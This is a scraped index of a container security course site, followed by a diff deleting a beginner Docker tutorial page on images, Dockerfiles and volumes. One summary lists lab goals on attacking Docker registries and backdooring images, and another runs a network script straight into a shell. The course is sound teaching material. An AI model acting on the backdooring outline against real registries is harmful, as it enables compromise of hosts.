https://kubedaily.com/containersecurity/attack-surface-of-the-container-ecosystem/ - Container Technology Archiecture Developer systems (generate images and send them to testing and accreditation) Testing and accreditation systems (validate and verify the contents of images, sign images, and send images to the registry) Registries (store images and distribute images to the orchestrator upon request) Orchestrators (convert images into containers and deploy containers to hosts) Hosts (run and stop containers as directed by the orchestrator) Attack surface of the container ecosystem One way to start thinking about the threat model is to consider the actors involved. - - - Auditing Docker Security - https://kubedaily.com/containersecurity/auditing-docker-security/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/auditing-docker-security/ - Auditing Docker Security DOCKER BENCH FOR SECURITY -Docker Bench for Security is an open source Bash script that checks for various common security best practices of deploying Docker in production environments. The tests are all automated and are based on the CIS Docker Benchmark. More information about Docker Bench for Security can be found on GitHub: https://github.com/docker/docker-bench-security -auditing docker security with docker bench for security The auditing process can be performed by following the procedures outlined below: - - - Capabilities - https://kubedaily.com/containersecurity/capabilities/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/capabilities/ - Capabilities 1.Process isolation: This allows the separation of processes between different containers, ensuring that processes running in one container do not have access to resources or processes in another container. -2.Resource limitation: This allows the allocation of specific resources (such as CPU, memory, and disk space) to each container, ensuring that one container does not consume more resources than it has been allocated. -3.User namespace: This allows the creation of user accounts within a container that are separate from the host system, ensuring that users within a container do not have access to resources outside of the container. - - - Cgroups - https://kubedaily.com/containersecurity/cgroups/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/cgroups/ - Cgroups In a container environment, Cgroups are used to ensure that each container has its own set of resources and cannot interfere with other containers or the host system. This helps to isolate the containers from each other and allows them to run in a more predictable and stable manner. -Cgroups can be used to set limits on the amount of resources a container can use, such as CPU time or memory usage. - - - Container Advantage and Disadvantages - https://kubedaily.com/containersecurity/container-advantage-and-disadvantages/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/container-advantage-and-disadvantages/ - Container Advantages Every day, developers find new ways to put containerization to work to solve their challenges. There is no shortage of ways to use containerization, and every application will likely produce unique benefits. Here are some of the most common reasons developers decide to containerize: -Portability -No discussion of containerization is complete without at least one mention of the motto, “write once, run anywhere.” Since a container bundles all dependencies, you can take your application just about anywhere without rebuilding it to account for a new environment. - - - Container Image Security - https://kubedaily.com/containersecurity/container-image-security/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/container-image-security/ - Container Image Security Building secure container images Choosing base images Alpine Pros very small images: the community pays a lot attention on minimizing image sizes minimum functionality: only absolutely necessary packages contained lightweight init system: like Gentoo, Alpine uses OpenRC, a lightweight alternative to systemd musl performance: for some cases, musl libc can be more performant than glibc Cons rather Poor Documentation Small team : Currently there are 3 developer listed as the alpine linux team possible incompatibilities: musl libc may cause problems with some C-based plugins and adjustments may be necessary if you compile software yourself Debian Pro: - - - Container Security - https://kubedaily.com/containersecurity/overview/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/overview/ - Table of Content Title Link 1.What is container? lab 2.Container vs. Virtualization lab 3.Container Advantage and Disadvantages lab 4.Namespaces lab 5.Cgroups 6.Capabilities lab 7.Docker architecture and its components lab 8.Interacting with container ecosystem lab 9.Attack surface of the container ecosystem lab 10.Environment variables lab 11.Docker volumes lab 12.Docker Networking lab 13.Auditing Docker Security lab 14.Container Image Security lab 15.DockerFile Security Best Practices lab 16.SecretScanner - Finding secrets and passwords in container images and file systems lab 17. - - - Container vs Virtualization - https://kubedaily.com/containersecurity/container-vs-virtualization/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/container-vs-virtualization/ - A Shift from Monolithic to Microservice Architecture Monolithic Application have changed dramarically -A Decade Ago ( and still valid ) Apps were monolithic Built on single stack such as .NET or Java Long Lived Deployed to a single server Benefits of monolith - Simple to Develop , Test , Deplot &amp; Scale -simple to develope because of all the tools and IDEs aupport to that kind of application by default easy to deploy because all coponets are packed into one bundle Easy to scale the whole application Disadvantages of monolith - - - Content Trust and Integrity checks - https://kubedaily.com/containersecurity/content-trust-and-integrity-checks/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/content-trust-and-integrity-checks/ - Content Trust and Integrity checks -Docker Content Trust (DCT) makes it simple and easy to verify the integrity and the publisher of images that you download and run. This is especially important when pulling images over untrusted networks such as the internet. -docker trust key generate sangam Generating key for sangam... Enter passphrase for new nigel key with ID 1f78609: Repeat passphrase for new nigel key with ID 1f78609: Successfully generated and loaded private key. - - - Docker Daemon security configurations - https://kubedaily.com/containersecurity/docker-daemon-security-configurations/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-daemon-security-configurations/ - docker daemon security configuration Install docker CE 19.03 -# yum install -y yum-utils device-mapper-persistent-data lvm2 # yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo # yum install -y docker-ce [root@localhost docker]# docker --version Docker version 19.03.8, build afacb8b Daemon security configuration There is no configuration file by default, which needs to be created separately/etc/docker/daemon.json, the following configurations are all local test examples configured on this file. -{ &#34;icc&#34;: false, &#34;log-level&#34;: &#34;info&#34;, &#34;log-driver&#34;: &#34;json-file&#34;, &#34;log-opts&#34;: { &#34;max-size&#34;: &#34;10m&#34;, &#34;max-file&#34;:&#34;5&#34;, &#34;labels&#34;: &#34;somelabel&#34;, &#34;env&#34;: &#34;os,customer&#34; }, &#34;iptables&#34;: true, &#34;userns-remap&#34;: &#34;default&#34;, &#34;userland-proxy&#34;: false, &#34;experimental&#34;: false, &#34;selinux-enabled&#34;: true, &#34;live-restore&#34;: true, &#34;no-new-privileges&#34;: true, &#34;cgroup-parent&#34;: &#34;/foobar&#34;, &#34;seccomp-profile&#34;: &#34;/etc/docker/seccomp/default-no-chmod. - - - Docker events - https://kubedaily.com/containersecurity/docker-events/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-events/ - Docker events Docker events describe the activities taken by your Docker daemon. Most interactions with objects such as containers, images, volumes, and networks record an event, creating a log that you can use to inspect past changes. -There are many different kinds of event that identify specific changes in your environment: -Creating and removing containers Container health check statuses Commands executed inside containers with docker exec Pulling and pushing images Creating, destroying, mounting, and unmounting volumes Enabling and disabling Docker daemon plugins $ docker run --rm hello-world Several events should now appear in the terminal window that’s running the docker events command: - - - Docker host security configurations - https://kubedaily.com/containersecurity/docker-host-security-configurations/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-host-security-configurations/ - SecComp and AppArmor Docker works with major Linux MAC technologies such as AppArmor and SELinux. -Depending on your Linux distribution, Docker applies a default AppArmor profile to all new containers. According to the Docker documentation, this default profile is “moderately protective while providing wide application compatibility”. -Docker also lets you start containers without a policy applied, as well as giving you the ability to customize policies to meet specific requirements. This is also very powerful, but can also be prohibitively complex. - - - Docker Networking - https://kubedaily.com/containersecurity/docker-networking/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-networking/ - Docker Networking The Container Netwotk Model (CNM) is the design document for Docker Networking which is implemented via &rsquo;libnetwork&rsquo; in golang -Sandbox - isolated network stavk Endpount - Virtual Ethernet Interfece Network - Virtual Switch (bridge) Note - Libnetwork -&gt; implemenrs the control and management plane functions -Network Specific Drivers -&gt; implemenrs the data plane while also handling the connectivity and isolation -Docker Native Network Drivers Bridge - uses a software bridge whicha allows containers connected to the same bridge network to communicate - - - Docker Registry security configurations - https://kubedaily.com/containersecurity/docker-registry-security-configurations/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-registry-security-configurations/ - What will you learn? -InteractIing with insecure registry with curl Fetching images using curl and analyzing image layers Attacking protected Docker registry Backdooring images and leveraging auto-deployment mechanisms to attack Docker host -Intracting with Insecure Registry [node1] (local) root@192.168.0.18 ~ $ docker run -d \ -p 5000:5000 \ --name registry \ -v /registry/data:/var/lib/registry \ --restart always \ registry:2 Unable to find image &#39;registry:2&#39; locally 2: Pulling from library/registry ca7dd9ec2225: Pull complete c41ae7ad2b39: Pull complete 1ed0fc8a6161: Pull complete 21df229223d2: Pull complete 626897ccab21: Pull complete Digest: sha256:ce14a6258f37702ff3cd92232a6f5b81ace542d9f1631966999e9f7c1ee6ddba Status: Downloaded newer image for registry:2 729cabb707e247e548ff84aa096c03e922e39e78bbe3c65753478305575576a6 check - - - Docker volumes - https://kubedaily.com/containersecurity/docker-volumes/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-volumes/ - Docker volumes -How to create encrypted data volume Create a Docker volume using the docker volume create command, for example: -$ docker volume create encrypted_volume Create a Docker container that will be used to create the encrypted volume. For this, you can use a tool like luksipc, which allows you to create a LUKS-encrypted file within a container. -Run the luksipccontainer with the --volume flag to specify the Docker volume you want to encrypt. - - - DockerFile Security Best Practices - https://kubedaily.com/containersecurity/dockerfile-security-best-practices/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/dockerfile-security-best-practices/ - DockerFile Security Best Practices Choose Minimal Base Images FROM alpine WORKDIR /app COPY package.json /app RUN npm install CMD [“node”,“index.js”] Remove Cache Packages FROM alpine RUN apk add nginx &amp;&amp; rm -rf /var/cache/apt/* COPY index.html /var/www/html/ EXPOSE 80 CMD [“nginx”,“-g”,“daemon off;”] FROM alpine RUN apk add –no-cache nginx COPY index.html /var/www/html/ EXPOSE 80 CMD [“nginx”,“-g”,“daemon off;”] avoid multilayers FROM alpine RUN apk update RUN apk add curl RUN apk add nodejs RUN apk add nginx-1. - - - DockerScan - https://kubedaily.com/containersecurity/dockerscan/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/dockerscan/ - DockerScan Docker Scan Support actions for docker registory scanning , image analysis and image meta information exaction to look for password , URL/ IP etc in the envirmonment variavle and any kind of sudo call by user -create a directory for this $ sudo mkdir dockersec-2 $ cd dockersec-2 check pyhon version which mustt be greater then 3.5 and must have pip installed -$ python3 --version $ sudo apt install python3-pip $ which pip3 `` Install Dockerscan with pip3 $ sudo /user/bin/pip3 install dockerscan - - - Environment variables - https://kubedaily.com/containersecurity/environment-variables/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/environment-variables/ - Environment variables example of using an environment variable in a Dockerfile: -FROM alpine:latest # Set an environment variable ENV MY_VAR &#34;Hello World&#34; # Use the environment variable in a command RUN echo $MY_VAR &gt; /app/output.txt CMD [&#34;cat&#34;, &#34;/app/output.txt&#34;] In this example, the environment variable MY_VAR is set to the value &ldquo;Hello World&rdquo;. This variable is then used in the RUN command to create an output.txt file with the contents &ldquo;Hello World&rdquo;. - - - Interacting with container ecosystem - https://kubedaily.com/containersecurity/interacting-with-container-ecosystem/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/interacting-with-container-ecosystem/ - Interacting with container ecosystem Docker Images and Image Layers -In Docker, an image is a lightweight, stand-alone, executable package that includes everything needed to run a piece of software, including the application code, libraries, dependencies, and runtime. It&rsquo;s used to build and run containerized applications. -A Docker image is made up of a series of layers, where each layer represents an instruction in the image&rsquo;s Dockerfile. When you build an image, each instruction in the Dockerfile creates a new layer in the image. - - - Namespaces - https://kubedaily.com/containersecurity/namespaces/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/namespaces/ - Namespaces There are several types of namespaces in containers, including: -PID Namespaces: -These namespaces isolate the process IDs of containers from the host system and from other containers. This means that each container has its own set of process IDs, which helps to prevent conflicts and ensures that containers cannot access processes belonging to other containers or the host system. Network Namespaces: -These namespaces isolate the network interfaces and IP addresses of containers from the host system and from other containers. - - - Scanning Docker for vulnerabilities with ThraetMappeper - https://kubedaily.com/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/ - Orignally published on CloudNativeFolks -ThreatMapper -ThreatMapper hunts for threats in your production platforms, and ranks these threats based on their risk-of-exploit. It uncovers vulnerable software components, exposed secrets and deviations from good security practice. ThreatMapper uses a combination of agent-based inspection and agent-less monitoring to provide the widest possible coverage to detect threats. -ThreatMapper carries on the good &lsquo;shift left&rsquo; security practices that you already employ in your development pipelines. It continues to monitor running applications against emerging software vulnerabilities and monitors the host and cloud configuration against industry-expert benchmarks. - - - SecretScanner - Finding secrets and passwords in container images and file systems - https://kubedaily.com/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/ - Published on CloudNativeFolks -One of most common mistake is leaking Secrets via docker images or file system in this blogpost we will use Deepfence&rsquo;s Open Source Project SecretScanner -few days back I found this interesting tweet discussion from cybersecurity community members ! -here you see article around Uber security incidence -%[https://www.uber.com/newsroom/security-update/] -lets understand why secret scanner help you securing your container images and file system -If you see DockerHub most of images and public and thousands of secrets leaked over the year - - - Security Linting of Dockerfiles - https://kubedaily.com/containersecurity/security-linting-of-dockerfiles/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/security-linting-of-dockerfiles/ - hadolint Hadolint comes with a robust and easy to use CLI. You can install it on a variety of platforms, including macOS using brew install hadolint. -Confirm the installation was successful with the following command: -$ hadolint --help hadolint - Dockerfile Linter written in Haskell We’ll use the following Dockerfile as an example, which can be used to run a Python Django web server. On the surface, it looks fine but we’ll see it has a lot of problems. - - - Sock Shop Docker Compose and Weave - https://kubedaily.com/containersecurity/sock-shop-docker-compose-and-weave/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/sock-shop-docker-compose-and-weave/ - Sock Shop Docker Compose &amp; Weave -Pre-requisites Install Docker Install Weave Scope Install Weave Net -git clone https://github.com/microservices-demo/microservices-demo cd microservices-demo curl -sSL https://get.docker.com/ | sh apt-get install -yq python-pip build-essential python-dev pip install docker-compose curl -L git.io/weave -o /usr/local/bin/weave chmod a+x /usr/local/bin/weave Launch Weave Scope -sudo curl -L git.io/scope -o /usr/local/bin/scope sudo chmod a+x /usr/local/bin/scope scope launch Weave launch -weave launch docker-compose -f deploy/docker-compose-weave/docker-compose.yml up -d - - - Static Analysis of container images library for container - https://kubedaily.com/containersecurity/static-analysis-of-container-images-library-for-container/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/static-analysis-of-container-images-library-for-container/ - Packetstreamer SBOM and vulnerability scanner for container images -https://github.com/deepfence/package-scanner -Download binary -package-scanner_Darwin_arm64.tar.gz package-scanner_Darwin_x86_64.tar.gz package-scanner_Linux_arm64.tar.gz package-scanner_Linux_x86_64.tar.gz package-scanner_darwin_amd64_v1 package-scanner_darwin_arm64 package-scanner_linux_amd64_v1 package-scanner_linux_arm64 ClI usage -scan a docker image for vulnerabilities -./package-scannner -source nginx:latest Scan a docker images , filter for critical vulnerabilities -./package-scanner -source nginx:latest -severity critical Scan a docker images with CVEs -./package-scanner -source nginx:latest INFO[2023-01-06T15:10:15+05:30] autodetect.go:91 trying to connect to endpoint &#39;unix:///var/run/docker.sock&#39; with timeout &#39;10s&#39; INFO[2023-01-06T15:10:15+05:30] autodetect.go:116 connected successfully using endpoint: unix:///var/run/docker. - - - What is container? - https://kubedaily.com/containersecurity/what-is-container/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/what-is-container/ - what is container ? -A container is full package (or) grouping of an entire runtime enviroment of an application ncluding its binaries, the runtime to run the application, System related tools, System libraries, Settings, and configurations. thats the defination come to mind when you learn ? to better understanding we need to go back to Operating Syatem basics and how its work -when a program?process is running on your computer it gives a call to kernel using SystemCall End Point whatever it needs to access any of the - - - diff --git a/public/containersecurity/interacting-with-container-ecosystem/index.html b/public/containersecurity/interacting-with-container-ecosystem/index.html deleted file mode 100644 index a69875a..0000000 --- a/public/containersecurity/interacting-with-container-ecosystem/index.html +++ /dev/null @@ -1,1218 +0,0 @@ - - - - - - - - -Interacting with container ecosystem · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Interacting with container ecosystem

-
-
- - -

Interacting with container ecosystem

-
    -
  • -

    Docker Images and Image Layers

    -
      -
    • -

      In Docker, an image is a lightweight, stand-alone, executable package that includes everything needed to run a piece of software, including the application code, libraries, dependencies, and runtime. It’s used to build and run containerized applications.

      -
    • -
    • -

      A Docker image is made up of a series of layers, where each layer represents an instruction in the image’s Dockerfile. When you build an image, each instruction in the Dockerfile creates a new layer in the image. For example, if the Dockerfile has a COPY instruction to copy in some new files, that creates a new layer in the image with those files. If you then change a file and rebuild the image, only the layers that have changed need to be rebuilt, which makes building images faster and more efficient.

      -
    • -
    • -

      Each layer is a delta of the changes made in that instruction compared to the previous layer. When you run a container from an image, Docker creates a new top writable layer on top of the underlying layers, allowing you to make changes to the running container. These changes are not persisted when the container is stopped and removed, unless you commit the changes to a new image.

      -
    • -
    • -

      In summary, a Docker image is a lightweight, stand-alone, executable package that contains everything needed to run a piece of software, and it is made up of a series of layers representing instructions in the image’s Dockerfile.

      -
    • -
    -
  • -
-

Docker images commands

-
docker images [OPTIONS] [REPOSITORY[:TAG]]
-
    -
  • -

    The default docker images will show all top level images, their repository and tags, and their size. -

    -
  • -
  • -

    Docker images have intermediate layers that increase reusability, decrease disk usage, and speed up docker build by allowing each step to be cached. These intermediate layers are not shown by default. -

    -
  • -
  • -

    The SIZE is the cumulative space taken up by the image and all its parent images. This is also the disk space used by the contents of the Tar file created when you docker save an image.

    -
  • -
  • -

    An image will be listed more than once if it has multiple repository names or tags. This single image (identifiable by its matching IMAGE ID) uses up the SIZE listed only once.

    -
  • -
  • -

    docker images - list all local Docker images

    -
  • -
-

Example: docker images -

-
    -
  • docker image ls - list all local Docker images with additional information such as image ID, repository, and tag
  • -
-

Example: docker image ls

-
    -
  • docker image inspect - display detailed information about a Docker image
  • -
-

Example: docker image inspect ubuntu:latest -

-
    -
  • -

    docker image history - show the history of a Docker image -Example: docker image history ubuntu:latest -

    -
  • -
  • -

    docker image pull - download a Docker image from a registry -Example: docker image pull ubuntu:latest -

    -
  • -
  • -

    docker image push - push a Docker image to a registry -Example: docker image push my-image:latest -

    -
  • -
  • -

    docker image tag - add a tag to a Docker image -Example: docker image tag ubuntu:latest my-image:latest -

    -
  • -
  • -

    docker image build - build a Docker image from a Dockerfile -Example: docker image build -t my-image:latest . -

    -
  • -
  • -

    docker image save - save a Docker image to a tar archive -Example: docker image save ubuntu:latest > ubuntu.tar -

    -
  • -
  • -

    docker image load` - load a Docker image from a tar archive Example: docker image load < ubuntu.tar```

    -
  • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Name, shorthandDefaultDescription
–all , -aShow all images (default hides intermediate images)
–digestsShow digests
–filter , -fFilter output based on conditions provided
–formatPretty-print images using a Go template
–no-truncDon’t truncate output
–quiet , -qOnly show image IDs
- -

List recently created images

-
$ docker images 
-

alternative

-
$ docker image ls 
-

Filtering Docker Image List

-
$ docker images --filter "<key> = <value>"
-

With the –filter option, you can specify the following keys :

- -
    -
  • reference : that can be used in order to isolate images having a certain name or tag;
  • -
-
$ docker images --filter "reference=deb*"
-

before : to filter images created “before” a specific point in time;

-
$ docker images --filter "before=<image_name>"
-

since : to filter images since a specific point in time (usually another image creation);

-
  docker images --filter "since=<image_name>"
-

label : if you used the LABEL instruction to create metadata for your image you can filter them later with this key

-
 $ docker images --filter "label=maintainer=<email>"
-

dangling : in order to isolate images that are not used anymore.

-
docker images --filter "dangling=true"
-

Here are some examples of using the ‘docker images’ command with the ‘–format’ option:

-

To list all Docker images and their IDs in a table format, use the following command:

-
docker images --format "table {{.ID}}\t{{.Repository}}"
-

output

-
IMAGE ID REPOSITORY
-4f4b6b93e0a4 alpine
-

To list all Docker images and their sizes in a custom format, use the following command:

-
docker images --format "{{.Size}}\t{{.Repository}}"
-

output

-
SIZE REPOSITORY
-3.99 MB alpine
-

To list all Docker images and their created dates in a custom format, use the following command:

-
docker images --format "{{.CreatedAt}}\t{{.Repository}}"
-

output

-
CREATED AT REPOSITORY
-2022-03-01T00:00:00Z alpine
-

To list all Docker images with their full repository and tag names, use the --no-trunc flag:

-
docker images --all --no-trunc
-

docker images --quiet - This command lists all of the Docker images on the system, but only displays the image IDs.

-
docker images --quiet
-

output

-
cdd72a7d23c8
-

docker pull --quiet [image name] - This command pulls a Docker image from the registry, but only displays the image ID of the image being pulled.

-
docker pull --quiet alpine
-

output

-
d9e555c53f53
-

docker build --quiet -t [image name] [Dockerfile location] - This command builds a Docker image from a Dockerfile, but only displays the image ID of the image being built.

-
docker build --quiet -t my-image .
-

output

-
24c1f2a1c63d
-

Understand Image Layers

- -

to save on computational efforts when building images , and bandwidth (aka pulling and pushing ) them

-

Build Container images

-
FROM node:alpine
-WORKDIR /app
-COPY package*.json ./
-RUN npm install
-COPY ./ ./
-CMD ["npm", "start"]
-

This Dockerfile contains instructions needed to build a basic Node.js app image on Docker. When you run a docker build command, Docker starts executing these instructions one at a time, iteratively.

-

-

Each time a command is executed from the Dockerfile, a new image layer is created on top of the existing image. This process is iterated until Docker reads the last command of the Dockerfile. Each instruction created a new image.

-

-

Composition of a Docker Image

-

typically , an image can constitute the following

-
    -
  • -

    Base Image

    -
      -
    • -

      all of the container iamges are created from the base image. this ia an emoty first layer that allows users to build their images form scratch

      -
    • -
    • -

      if you do not want to create your base image from scratch, you can use an official Docker image like Centos as your base image or customize one of the official Docker images to your requirements. -

      -
    • -
    -
  • -
  • -

    Parent Image

    -
  • -
  • -

    the parent images is most cases, the first Docker image layer. This is foundation of all other layers in your Docker. Thus, this layer provides the basic building blocks for container environments. -

    -
  • -
  • -

    Layers

    -
      -
    • The other Docker layers are added to the base image using a code to allow them to run in a container. Docker’s default status displays all the top-layer images, including file sizes, tags, and repositories. Caching of intermediate layers makes it easier to view the top layers. Storage drives in Docker manage the contents in image layers.
    • -
    -
  • -
  • -

    Container layer

    -
      -
    • Besides creating a new container, a Docker image creates a container or writable layer. It hosts the changes that you make to your running container. This layer also stores the deleted and newly written files and changes made to the existing files. This layer is also useful when customizing containers.
    • -
    -
  • -
  • -

    Docker manifest

    -
  • -
-

The list of all image layers created by specific image names is known as a Docker manifest. These manifests are used the same way you would use an image name in the docker run and pull commands.

-

To build a Docker container image using a Dockerfile, follow these steps:

-
    -
  • Create a new directory and navigate to it in your terminal.
  • -
  • Inside the directory, create a file named Dockerfile (without any file extension).
  • -
  • Inside the Dockerfile, specify the base image you want to build from using the “FROM” directive. For example:
  • -
-
FROM alpine
-
    -
  • Add any additional instructions to the Dockerfile, such as installing packages, copying files, or setting environment variables.
  • -
  • Save the Dockerfile.
  • -
  • In your terminal, navigate to the directory containing the Dockerfile.
  • -
  • Run the docker build command, followed by the desired name and tag for the image, and the path to the Dockerfile:
  • -
-

docker build -t my-image:latest .

-

The Docker engine will now build the image based on the instructions in the Dockerfile. -Once the build is complete, you can verify that the image was created by running the “docker images” command:

-
docker images
-

Dockerfile instructions with example

-

1.FROM: This instruction sets the base image for the Docker container. For example:

-

FROM ubuntu:latest

-

2.RUN: This instruction runs a command in the container. For example:

-

RUN apt-get update

-

3.COPY: This instruction copies files from the host machine to the container. For example:

-

COPY app/ /app

-

4.ADD: This instruction is similar to COPY, but it can also handle URL sources and automatically decompress compressed files. For example:

-

ADD https://example.com/app.tar.gz /app

-

5.ENV: This instruction sets environment variables in the container. For example:

-

ENV LANG=en_US.UTF-8

-

6.WORKDIR: This instruction sets the working directory for the container. For example:

-

WORKDIR /app

-

7.EXPOSE: This instruction exposes a port on the container to be accessed from the host machine. For example:

-

EXPOSE 8080

-

8.CMD: This instruction sets the default command to be run when the container is started. For example:

-

CMD ["python", "app.py"]

-

9.ENTRYPOINT: This instruction sets the default command to be run when the container is started, but it cannot be overridden by command-line arguments. For example:

-

ENTRYPOINT ["python", "app.py"]

-

Lab 1

-

Begin by creating a new file called “Dockerfile” in your project directory. -In the Dockerfile, we will first specify the base image that we will be using. For this example, we will be using the latest version of Ubuntu as our base image.

-
FROM ubuntu:latest
-

Next, we will run the necessary commands to install Git on the base image.

-
RUN apt-get update
-RUN apt-get install -y git
-

Once the installation is complete, we will set the default command to run when the container starts. In this case, we will set it to run the Git version command to confirm that Git is installed and functioning correctly.

-
CMD ["git", "--version"]
-

Save the Dockerfile and close it. -To build the Docker image, we will use the “docker build” command and specify the path to the Dockerfile as an argument.

-
docker build -t my_git_image .
-

This will start a new container based on the “my_git_image” image and run the default command specified in the Dockerfile. The output should show the version of Git installed in the image.

-

Lab 2

-

In the Dockerfile, specify the base image you want to use. For example:

-
FROM ubuntu:20.04
-

Add the ADD instruction to your Dockerfile to copy files or directories from your local system into the image. For example:

-
ADD my_file.txt /app/
-ADD my_directory /app/
-

Use the RUN instruction to execute any necessary commands or installs for your image.

-

Use the CMD instruction to specify the command that will be run when a container is started from this image.

-

Build the Docker image using the following command:

-
docker build -t my_image_name .
-

Run the image using the following command:

-
docker run -d my_image_name
-

Lab 2

-

Dockerfilein your favorite text editor and add the following content to it:

-
FROM ubuntu:18.04
-CMD ["echo", "Hello, World!"]
-

This Dockerfile specifies that we want to use the ubuntu:18.04 base image and run the echo command with the arguments"Hello, World!" when the container is started.

-
docker build -t myimage .
-docker run myimage
-

Lab 3

-

In the Dockerfile, specify the base image that your image will be built on. For this example, we will use the alpine base image, which is a lightweight version of Linux:

-
FROM alpine
-

Next, add the COPY instruction to copy a file or directory from your local machine into the image. For example, if you want to copy the file hello.txt from your current directory into the image, you would use the following instruction:

-
COPY hello.txt /
-

ou can also specify a different destination for the file. For example, if you want to copy hello.txt into the /app directory inside the image, you would use the following instruction:

-
COPY hello.txt /app/
-

Now that you have specified the base image and the files to be copied, you can build your Docker image. Run the following command to build the image, replacing my-image with the desired name for your image:

-

-docker build -t my-image .
-

To verify that the image was built successfully and that the file was copied into the image, you can run the following command to view the list of available Docker images:

-
docker images
-

You should see your new image listed in the output. To run the image, use the docker run command, followed by the name of the image:

-
docker run my-image
-

Lab 4

-

here is an example of creating a Python app with an Entrypoint instruction:

-

First, create a new directory for your app and navigate to it in the command line. -Create a file called app.py and add the following code:

-
def main():
-    print("Hello, world!")
-
-if __name__ == "__main__":
-    main()
-

Next, create a file called Dockerfile and add the following code:

-
FROM python:3.8-slim
-
-COPY app.py /app/app.py
-
-ENTRYPOINT ["python", "/app/app.py"]
-

Build the Docker image by running the following command:

-
docker build -t my-app .
-

Run the Docker image by using the following command:

-
docker run my-app
-

Lab 5

-
FROM nginx:alpine
-WORKDIR /var/www/html
-COPY . .
-EXPOSE 80
-CMD ["nginx", "-g", "daemon off;"]
-

This Dockerfile will use the nginx:alpine image as a base, set the working directory to /var/www/html, copy all the files in the current directory (.) to the working directory, expose port 80, and start the nginx daemon.

-

Now let’s create a sample HTML file calledindex.html:

-
<html>
-  <head>
-    <title>Nginx Workdir Example</title>
-  </head>
-  <body>
-    <h1>Welcome to the Nginx Workdir Example</h1>
-  </body>
-</html>
-

Now we can build and run the Docker container using the following commands:

-
docker build -t nginx-workdir .
-docker run -p 8080:80 nginx-workdir
-

This will build the Docker image with the tag nginx-workdir and run the container, mapping port 8080 on the host machine to port 80 in the container.

-

To verify that everything is working, open your web browser and navigate to http://localhost:8080. You should see the content of the index.html file displayed.

-

That’s it! You have successfully created a Docker container using the WORKDIR instruction to set the working directory for the nginx daemon.

-

Lab 6

-
    -
  • Pull the Nginx image from Docker Hub:
  • -
-
docker pull nginx
-
    -
  • Create a directory on your local machine that you want to use as the volume for Nginx:
  • -
-
mkdir /path/to/volume
-
    -
  • Run the Nginx container and mount the volume using the -v flag:
  • -
-
docker run -d -p 80:80 -v /path/to/volume:/usr/share/nginx/html:ro nginx
-
    -
  • Test that the volume is working by creating a file in the volume directory on your local machine:
  • -
-

echo "Hello, World!" > /path/to/volume/index.html

-
    -
  1. Visit http://localhost in your web browser to see the contents of the volume displayed in the Nginx container.
  2. -
-

Note: The -d flag runs the container in detached mode, the -p flag maps port 80 on the host to port 80 in the container, and the :ro flag makes the volume read-only inside the container.

-

Storing data in a container

-
    -
  • Storing data in a container(mounts, volumes, etc.)
  • -
  • Networking in containers
  • -
-

Storing data in a docker container

-

There are several options for storing data in a docker container:

-
    -
  • -

    Use a volume: Docker volumes allow you to persist data outside of the container, so it can be shared between multiple containers or saved even if the container is stopped or removed. You can create a volume using the “docker volume create” command and then mount it to a specific directory in your container using the “-v” flag in the “docker run” command.

    -
  • -
  • -

    Create a volume using the docker volume create command:

    -
  • -
-
$ docker volume create data-volume
-
    -
  • Run a docker container and mount the volume using the -v flag:
  • -
-
$ docker run -d --name my-container -v data-volume:/data ubuntu:latest
-
    -
  • Check if the volume is mounted to the container by using the docker inspect command:
  • -
-
$ docker inspect my-container | grep Mounts
-

You should see output similar to this:

-
"Mounts": [
-            {
-                "Type": "volume",
-                "Name": "data-volume",
-                "Source": "/var/lib/docker/volumes/data-volume/_data",
-                "Destination": "/data",
-                "Driver": "local",
-                "Mode": "",
-                "RW": true,
-                "Propagation": ""
-            }
-        ],
-

Now, any data that you write to the /data directory inside the container will be persisted in the volume.

-

For example, you can create a file in the /data directory:

-
$ docker exec -it my-container touch /data/test.txt
-

To verify that the data has been persisted, you can run another container and mount the same volume:

-
$ docker run -it --name my-container-2 -v data-volume:/data ubuntu:latest bash
-

Inside the new container, you should be able to see the test.txt file:

-
$ ls /data
-test.txt
-

